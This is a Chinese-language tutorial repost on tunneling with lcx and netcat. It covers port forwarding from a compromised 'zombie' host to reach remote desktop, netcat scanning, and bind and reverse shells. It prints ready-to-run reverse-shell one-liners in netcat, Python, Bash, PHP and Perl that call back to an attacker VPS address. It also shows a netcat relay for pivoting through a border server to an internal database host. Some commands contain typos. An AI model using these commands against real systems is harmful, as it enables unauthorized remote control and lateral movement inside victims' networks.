網絡層隧道之lcx和nc的使用


lcx用法:

lcx的Linux版本為portmap、

1.內網端口轉發

本機: lcx -listen 2222 3333

2222為轉發端口,3333為本機任意未被占用的端口

肉雞:lcx -slave 119.75.217.56 2222 127.0.0.1 3389

119.75.217.56 為本機IP,2222為轉發端口,127.0.0.1為肉雞內網IP,3389為遠程終端端口

3389連接時格式 127.0.0.1:3333

 

2. 本地端口映射

如果3389端口被防火牆禁用,那我們可以轉發到其他端口。如53

lcx -tran 53 本機ip地址 3389

 

netcat用法:

  1. 簡易使用

 

    1. 命令查詢

      root@calm:~# nc -h
      [v1.10-41.1+b1]
      connect to somewhere: nc [-options] hostname port[s] [ports] ...
      listen for inbound: nc -l -p port [-options] [hostname] [port]
      options:
      -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
      -e filename program to exec after connect [dangerous!!]
      -b allow broadcasts
      -g gateway source-routing hop point[s], up to 8
      -G num source-routing pointer: 4, 8, 12, ...
      -h this cruft
      -i secs delay interval for lines sent, ports scanned
      -k set keepalive option on socket
      -l listen mode, for inbound connects
      -n numeric-only IP addresses, no DNS
      -o file hex dump of traffic
      -p port local port number
      -r randomize local and remote ports
      -q secs quit after EOF on stdin and delay of secs
      -s addr local source address
      -T tos set Type Of Service
      -t answer TELNET negotiation
      -u UDP mode
      -v verbose [use twice to be more verbose]
      -w secs timeout for connects and final net reads
      -C Send CRLF as line-ending
      -z zero-I/O mode [used for scanning]
      port numbers can be individual or ranges: lo-hi [inclusive];
      hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

    2. Banner抓取
      nc -nv 192.168.2.246 22
    3. 遠程連接主機

       

       nc -nvv ip port

    4. 端口掃描

      root@calm:~# nc -v 192.168.2.183 80
      WIN-7-webserver.lan [192.168.2.183] 80 (http) open

      掃描指定端口段
      root@calm:~# nc -v -z  192.168.2.183 1-1000
    5. 端口監聽
      nc -l -p port

       

    6. 文件傳輸
      在本地監聽:

       

       在另一台輸入:

       

    7.  簡易聊天
      本地vps輸入:nc -l -p 999
      目標機器輸入:nc -vn vps的ip 999

       

  1. 獲取shell

    1. 正向shell
      nc -lvp 4444 -e /bin/sh        lunux
      nc -lvp 4444 -e c:\windows\system32\cmd.exe        windows
      vps執行:
      nc 192.168.2.183 4444
    2. 反向shell
      vps執行:
      nc -lvp 4444
      目標主機執行:
      nc vps的ip 4444 -e /bin/sh        lunux
      nc vps的IP 4444 -e c:\windows\system32\cmd.exe        windows
  2. 目標機器沒有nc時候獲取反向shell
    1. Python反向shell
      vps執行:nc -lvp 4444
      目標主機執行:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.181",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    2. Bash反向shell
      vps執行:nc -lvp 4444
      目標主機執行: bash -i >& /dev/tcp/192.168.2.181/4444 0>&1
    3. PHP反向shell
      vps上執行:
      nc -lvp 4444
      目標主機執行:
      php -r '$sock=fsockopen("192.168.2.181",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
    4. Perl反向Shell
      vps執行:
      nc -lvp 4444
      目標機器執行:
      perl -e 'use Socket;$i="192.168.2.181";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    5. 內網代理
      vps監聽:
      nc -lvp 3333
      數據庫服務器執行:
      nv -lvp 3333 -e /bin/sh
      在Web服務器(邊界服務器)執行:
      nc -v 192.168.2.181 3333 -c "nc -v 數據庫內網ip 3333"
      這樣可以用vps獲取內網數據庫主機的shell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM